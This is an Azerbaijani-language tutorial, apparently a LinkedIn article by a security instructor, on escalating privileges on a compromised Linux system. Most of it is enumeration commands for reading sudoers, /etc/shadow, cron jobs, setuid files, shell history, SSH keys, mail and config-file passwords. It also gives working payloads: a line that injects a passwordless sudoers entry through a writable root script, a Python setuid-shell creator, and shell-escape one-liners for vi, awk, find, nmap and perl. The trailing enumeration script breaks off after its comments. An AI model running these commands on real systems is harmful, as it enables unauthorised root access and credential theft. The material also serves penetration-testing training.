Linux / Unix Privilege Escalation (Əməliyyat Sistemində Səlahiyyət Yüksəltmə)
İstifadəçi məlumatlarımız və səlahiyyət səviyyəmiz. Bir linux əməliyyat sisteminə addım atdığımızda ilk ümidimiz root istifadəçi olaraq çatmaq, bu olmamışsa da güclü komutları istifadə edə bilmə haqqlarına sahib bir sudo istifadəçisi olmaqdır.
Aşağıdakı komutlar ilə istifadəçi adımızı, istifadəçi və qrup ID’lərimizi incələyə bilərik:
whoami 2>/dev/null
id 2>/dev/null
“sudo” komutu ilə bir komutu çalışdırmaq demək o komutu yapılan konfiqurasiyaya görə başqa bir istifadəçisi olaraq amma ümumiyyətlə root istifadəçisi olaraq çalışdırmaq deməkdir.
Normalda /etc/sudoers dosyasını sıradan istifadəçilərin oxuma haqqı olmaz. Ancaq şansımızı sınamaq üçün əvvəl sudoers dosyası giriş haqqlarını görmək və səlahiyyətimiz varsa sudo konfiqurasiyanını görmək üçün aşağıdakı komutları istifadə edə bilərik:
ls -al /etc/sudoers 2>/dev/null
cat /etc/sudoers 2>/dev/null
sudoers dosyasını oxuya bilməsək də giriş etdiyimiz istifadəçinin sudo haqqlarını aşağıdakı komutla görə bilərik. Ancaq ümümiyyətlə bu komutu çalışdırmaq üçün istifadəçimizin parolasını bilməmiz gərəkdiyindən bir ağ servisini exploit edərək sistemə giriş etmişsək bu komut işimizə yaramaya bilər.
sudo -l -n 2>/dev/null
Linux / Unix sistemlərdə “root” istifadəçisi olmaq demək əslində istifadəçi adımızın “root “olması demək deyildir. İstifadəçimizin id’sinin “0” olması deməkdir. Həm olası digər root istifadəçilərini görmək, həm digər daha geniş haqqlara sahib ola biləcək istifadəçilərin fərqinə varmaq (bu istifadəçi hesablarına parola sınama, home dizinindən giriş məlumatları tapmaq, v.b. yöntəmlərlə giriş etməyimiz söz movzusu ola bilər) , həm də bu istifadəçilərin home dizinlərini görmək üçün passwd dosyasını incələməmizdə fayda vardır:
cat /etc/passwd 2>/dev/null
istifadəçi id’lərini tanımaq faydalı olacağı kimi qrup’ları tanımaqda və mövcud istifadəçimizin üyesi olduğu qrupları incələməkdə də fayda vardır. Misal üçün istifadəçi sudo qrupu üyesi isə daha çox Linux əməliyyat sistemində bu qrupa sudo haqqı verildiyi üçün (parolamızı bilməmiz gərəkə bilər) sudo komutları çalışdıra bilərik.
(misal üçün sudoers konfiqurasiya sətiri: "%sudo ALL=(ALL:ALL) ALL")
cat /etc/group 2>/dev/null.
Sistem üzərində tapıla biləcək səlahiyyət yüksəltmə açıqlıqları yama əksikliklərinin təsbiti Addım atdığınız Linux sunucu üzərindəki səlahiyyət yüksəltmə açıqlıqlarını araşdırmadan öncə sunucunun kernel versiyonunu, işləmci memarisini və linux dağıtımını bilmək istəyəcəksiniz. Bu məlumatları öyrənmək üçün aşağıdakı komutları istifadə edə bilərik:
uname -a 2>/dev/null
cat /proc/version 2>/dev/null
lscpu 2>/dev/null
cat /etc/*-release
Kernel açıqlıqları xaricində bəzi uyğulamalar s bit’li olduqlarından (bu mövzu aşağıda açıqlanacaqdır) bəziləri isə root haqqları ilə çalışdığında sahib olduqları açıqlıqlar səlahiyyət yüksəltmə imkanı verməkdədir. Bu uyğulamalara və versiyon təsbit komutlarına aşağıdakılar misal verilə bilər:
sudo -V | grep version 2>/dev/null
mysql --version 2>/dev/null
Sistem servisləri, zamanlı işlər və yüksək səlahiyyətli uyğulama dosyalarının
incələnməsi
Linux / Unix sunucular üzərində çalışan cron job’ları bir anlamda Windows’daki servis’lərə bənzətə bilərik, ancaq tam qarşılıqları zamanlı işlər olacaqdır. Bu zamanlı işlər ilə çalışdırılan uyğulama və script’lər üzərində bir yazma haqqımız varsa və bu işlər root kimi yüksək səlahiyyətli bir istifadəçi adına çalışdırılırsa bu yolla səlahiyyət yüksəltməyi əldə edə bilərik. Buna görədə cron job’ların incələnməsi linux enumeration çalışmalarımız içinde önəmli yerə sahibdir.
Cron job’ların incələnməsi
“other” tərəfindən yazıla bilər cron scriptləri və onların məzmunu
find /etc/cron* -perm -0002 -exec ls -la {} \; -exec cat {} 2>/dev/null \;
/etc/crontab dosyası məlumatı
cat /etc/crontab 2>/dev/null
Varsa root ve digər istifadəçilərin crontab dosyaları listəsi
ls -laR /var/spool/cron 2>/dev/null
Varsa root ve digər istifadəçilərin crontab dosyaları məzmunları
find /var/spool/cron/ -type f -exec tail -n +1 {} + 2>/dev/null
Varsa /etc/cron.d dizinində tapılan dosyaların listəsi
ls -laR /etc/cron.d 2>/dev/null
Varsa /etc/cron.d dizinində tapılan dosyaların məzmunları
find /etc/cron.d/ -type f -exec tail -n +1 {} + 2>/dev/null
/etc/anacrontab dosyası məzmunu
cat /etc/anacrontab 2>/dev/null
Setuid dosyaların incələnməsi
Linux / Unix’ə özəl bir özəllik də bəzi uyğulamaların sahibi olan istifadəçi və ya qrup haqqları ilə çalışa bilməsidir. Bu səlahiyyət owner və ya qrup alanlarında çalışdırma haqqını ifadə edən “x” yerinə Setuid və Setgid anlamına gələn “s” xarakteri ile göstərilir. Əgər bu uyğulamalarda bir açıqlıq varsa və ya bu uyğulamalara / script’lərə yazma haqqımız varsa bu dosyalar səlahiyyət yüksəltmə məqsədilə istifadə edə bilərik.
Bu potensiyala sahib dosyaların təsbiti üçün bu komutları istifadə edə bilərik:
Sahibi “root” olan other tərəfindən yazıla bilər “setuid” dosyalar
find / -uid 0 -perm -4002 -type f -exec ls -al {} \; 2>/dev/null
“other” tərəfindən yazıla bilər tüm “setuid” dosyalar
find / -perm -4002 -type f -exec ls -al {} \; 2>/dev/null
Tüm “setuid” dosyalar
find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null | tee setuid-filesenum.txt
“root” haqqları ilə çalışan bir cron script’inə və ya setuid bit’i işarətli bir script’ə müdaxilə edə biliriksə aşağıdakı sətirləri içərisinə yerləşdirə bilərik:
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >>
/etc/sudoers && chmod 440 /etc/sudoers' > /script.sh
Dəyişiklik etdiyimiz script çalışıb da sudoers dosyasında yuxarıda görülən dəyişikliyi etdikdən sonra bu komutu çalışdıraraq root haqqları ilə shell ala bilərik:
sudo /bin/bash
Aşağıda bir Python script’i ilə “s” bit’i işarətli bir shell yaratma yöntəmini görə bilərsiniz:
#!/usr/bin/env python
import os
import sys
try:
os.system('cp /bin/sh /tmp/sh && chmod 4777 /tmp/sh && /tmp/sh')
except:
sys.exit()
Çeşidli dillər və cihazlar (bash, perl, python, php, java, netcat) istifadə edilərək reverse shell alma imkanı əldə edə biləcəyimiz digər yöntəmlər üçün aşağıdakı linkdən faydalana bilərik:
Shell escape imkanı verən uyğulamaların incələnməsi
Bəzi uyğulamaların içindən komut sətiri komutları çalışdırmaq və ya bir shell almaq mümkündür. Əgər bu uyğulamaları sudo ilə çalışdıra biliriksə (sudo haqqlarının incələnməsinə daha öncə deyinmişdik) və ya bu uyğulamaların “s” bit’ləri işarətli isə, bu uyğulamaların içindən root haqqları ilə shell başlada bilərik.
Bu növ uyğulamaları təsbit etmək üçün aşağıdakı komutu çalışdıra bilərik (setuid-files-enum.txt dosyası yuxarıdaki tüm “s” bitli dosyaları bəlirləyən komut nəticəsində yaradılmış olmalıdır)
cat setuid-files-enum.txt 2>/dev/null | grep -i -E
'vi|awk|perl|find|nmap|man|more|less|tcpdump|bash|sh$|vim|nc$|netcat|python|r
uby|lua|irb' | grep -v -E 'chsh|device'
Shell escape imkanı veren komut misalları:
vi, vim
:!bash
vi, vim
:set shell=/bin/bash
:shell
man, more, less
!bash
find
find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' \;
awk
awk 'BEGIN {system("/bin/bash")}'
nmap
--interactive
nmap
echo "os.execute('/bin/sh')" > exploit.nse
sudo nmap --script=exploit.nse
perl
perl -e 'exec "/bin/bash";'
LinkedIn tarafından öneriliyor
Qurulmuş paketlər ve versiyonlarının incələnməsi
dpkg -l 2>/dev/null [debian ve törəmələri üçün]
rpm -qa 2>/dev/null [redhat ve törəmələri üçün]
Sistem üzərində çalışan proses’lərin, ağ servislərinin incələnməsi
Windows əməliyyat sistemində də olduğu kimi uzaqdan daxil ola bilməsəkdə də loopback interfeysindən daxil ola bilən TCP ve UDP ağ servislərini incələmək üçün aşağıdakı komutları istifadə edə bilərik .(əlbəttə səlahiyyət yüksəltə bilmək üçün açıqlıq barındıran bir servisin root haqqları ilə çalışması lazımdır):
netstat -ant
netstat -anupp
“p” opsiyonu root haqqına sahibsək servisin arxasındakı proses id’si və adını göstərəcəkdir, dolayısıyla sıradan bir istifadəçi isək əslində bir işə yaramayacaq.
Sistem üzərində çalışan proses’lər (əgər root haqqlarına sahibsə və) açıqlıq barındırırsa səlahiyyət yüksəltmə məqsədilə istifadə edilə bilər. Bu incələməyi etmək üçün aşağıdakı komutu istifadə edə bilərik:
root istifadəçi olaraq çalışan proseslər
ps aux | grep root
Çalışan proseslərin imajları və bunlara ərişim haqqları
ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++'
Ərişim bilgiləri v.d. həssas bilgi barındıra biləcək veritabanı ve dosyaların
incələnməsi, sistem genəlində konfiqurasiya açıqlıqlarının araşdırılması
Parola hash’ləri
Linux / Unix sistemlərdə parola hash dəyərləri ümumiyyətlə /etc/shadow dosyasında tutulur və root istifadəçisi xaricində heç bir istifadəçisinin oxuma haqqı yoxdur. Ancaq yenə də şansımızı sınamaqda və ya bu dosyanın yedeklərini disk üzərində bir yedeyi varsa axtarmaqda fayda vardır.
Shadow dosyası və ya yedeklərinə tapmağa çalışmaq
cat /etc/shadow 2>/dev/null
Home dizinləri və məzmunları
“root” ve diğər istifadəçilərin “home” dizinləri barındırdıqları script’lər və history dosyaları kimi dosyalar açısından bizim üçün çox önəmlidir. Buna görədə home dizinləri içində ərişim haqqımız olan tüm istifadəçi home dizinlərinin içlərini incələmək gərəklidir.
/root/ dizini altındaki dosyalar ve ərişim haqqları
ls -ahlR /root/ 2>/dev/null
/home/ dizini altındaki dosyalar ve ərişim haqqları
ls -ahlR /home/ 2>/dev/null
Əgər home dizinləri /usr/ dizini altında isə buradaki dosyalar və ərişim haqqları
ls -ahlR /usr/home/ 2>/dev/null
/home/ dizini altındaki oxuna bilir dosyaların listəsi
find /home/ -perm -4 -type f -exec ls -al {} \; 2>/dev/null
History dosyaları ərişim haqqları ve məzmunları
ls -la /home/*/.*_history 2>/dev/null
ls -la /root/.*_history 2>/dev/null
cat ~/.*_history 2>/dev/null
cat /root/.*_history 2>/dev/null
cat /home/*/.*_history 2>/dev/null
SSH açar və açar dizinlərinin listəsi
find / -name "id_dsa*" -o -name "id_rsa*" -o -name "known_hosts" -o -name
"authorized_hosts" -o -name "authorized_keys" 2>/dev/null
Mail içərikləri
İçlərində parola v.b. həssas bilgilər barındıra biləcəkləri düşüncəsiylə varsa sistem üzərindəki posta qutularının incələnməsində fayda vardır.
cat /var/mail/root 2>/dev/null
cat /var/spool/mail/root 2>/dev/null
Mysql erişimi
MySQL ve digər veritabanları file system ve əməliyyat sistemi üzərində bizə yardımçı ola biləcək güclü fonksiyonlara sahib olduqlarından bu servislərə ərişim imkanlarımız dəyərləndirilməlidir. Təbi root haqqları ilə işləm edə bilməmiz üçün MySQL veritabanı proses’inin də root istifadəçi haqqları ilə çalışması ilkin şərtdir.
Mysql servisi varsa root olaraq boş parola ilə ərişməyə çalışmaq (mysql root’u ilə sistem root’u fərqlidir)
mysqladmin -u root -p root version
mysqladmin -u root version
Mysql ərişim bilgilərini içərə biləcək konfiqurasiya dosya içəriyinin incələnməsi
cat /etc/mysql/my.cnf 2>/dev/null
cat /etc/my.cnf 2>/dev/null
Web uyğulama dizin içərikləri
Web uyğulama dizinlərində tapıla biləcək konfiqurasiya dosyaları və kodlar üçün də yer ala biləcək həssas verilər və ərişim bilgiləri üçün bu dosyaların gözdən keçirilməsində fayda vardır.
Web uyğulama dizinləri ve dosyaların listəsi — əlavə edilə bilər
ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/ 2>/dev/null
ls -alhR /opt/lampp/htdocs/ 2>/dev/null
Dosya adı ve içərik araşdırma
Son olaraq həssas veri barındıra biləcəyini düşündüyümüz dosya adlarını axtarmaq və parola v.b. bilgiləri barındıra biləcək dosyaları təsbit etmək üçün aşağıdakı komutları istifadə edə bilərik (özəlliklə dosyalar içində
kəlimə axtarmanın çox uzun zaman ala biləcəyini xatırlayınız):
İlginc ola biləcək dosyaların listələnməsi (aşağıdakı komutlara yeniləri əlavə edilə bilər)
find / > dirlist-enum.txt 2>/dev/null
grep -i -E 'ini$' dirlist-enum.txt > ini-files-enum.txt
grep -i -E 'conf$|config$|cnf$' dirlist-enum.txt > conf-files-enum.txt
grep -i -E 'backup$|bck$|bak$|\.old.*$' dirlist-enum.txt > backup-filesenum.txt
Dosya içəriklərində ilginç verilər axtarılması (aşağıdakı komutlara yeniləri əlavə edilə bilər)
ini dosyaları içində keçən password ve username sətirləri
cat ini-files-enum.txt | xargs grep -i -E 'pass =|passwd =|pwd =| password
=|user =|username
=|pass=|passwd=|pwd=|password=|user=|username=|mysql_connect|mysql_select_db'
2>/dev/null
conf dosyaları içinde geçen password ve username satırları
cat conf-files-enum.txt | xargs grep -i -E 'pass =|passwd =|pwd =| password
=|user =|username
=|pass=|passwd=|pwd=|password=|user=|username=|mysql_connect|mysql_select_db'
2>/dev/null
LINUX / UNIX ENUMERATION SCRIPT’İ
VACİB NOT: Bu məqalədə yer alan script’ləri çalışdırmanızdan qaynaqlana biləcək risklərlə ilgili sorumluluk sizə aiddir. Çalışdırmadan əvvəl script’ləri oxumalı ve tam olaraq anlamalısınız. Zatən script’lər sizə hazır biçimdə açıqlıqları listələməyəcək, sizin incələməniz gərəkən nəticələri ürətəcəkdir. Sistemə ərişdiyimiz istifadəçilərin səlahiyyətləri script’lərdəki tüm komutları çalışdırmaya yetməyə bilər. Bu durumlarda oluşturulacaq xəta mesajlarının çıktılarımızı kirlətməməsi üçün “standard error redirection” yönetmini istifadə edirik (2>/dev/null). Bu yöntem sayəsinde xəta mesajları “standard output”a yazılmır.
#!/bin/bash
# linuxenum.sh > privesc-enum.txt şəklinde istifadə edək
# SCRIPTI /var/tmp DIZINI ALTINDA ÇALISDIRALIM
# ƏGƏR SCRIPTI İSTİFADƏÇİNİN HOME DİZİNİ ALTINDA ÇALIŞDIRIRSANIZ ÖZÜNÜZƏ
DOS YAPMIŞ OLARSINIZ ÇÜNKİ SCRIPT HOME DİZİNLƏRİNİN İÇİNDƏKİ DOSYALARI DA
YAZDIGI ÜÇÜN ÖZ YAZDIQLARINI TƏKRAR OXUYUB TƏKRAR YAZAR VƏ DİSKİ
DOLDURURSUNUZ
Cyber Security Instructor @ SecOp Co | Practical Ethnical Hacking, Network Defense
1y*əməliyyat sistemində səlahiyyət yüksəltmə*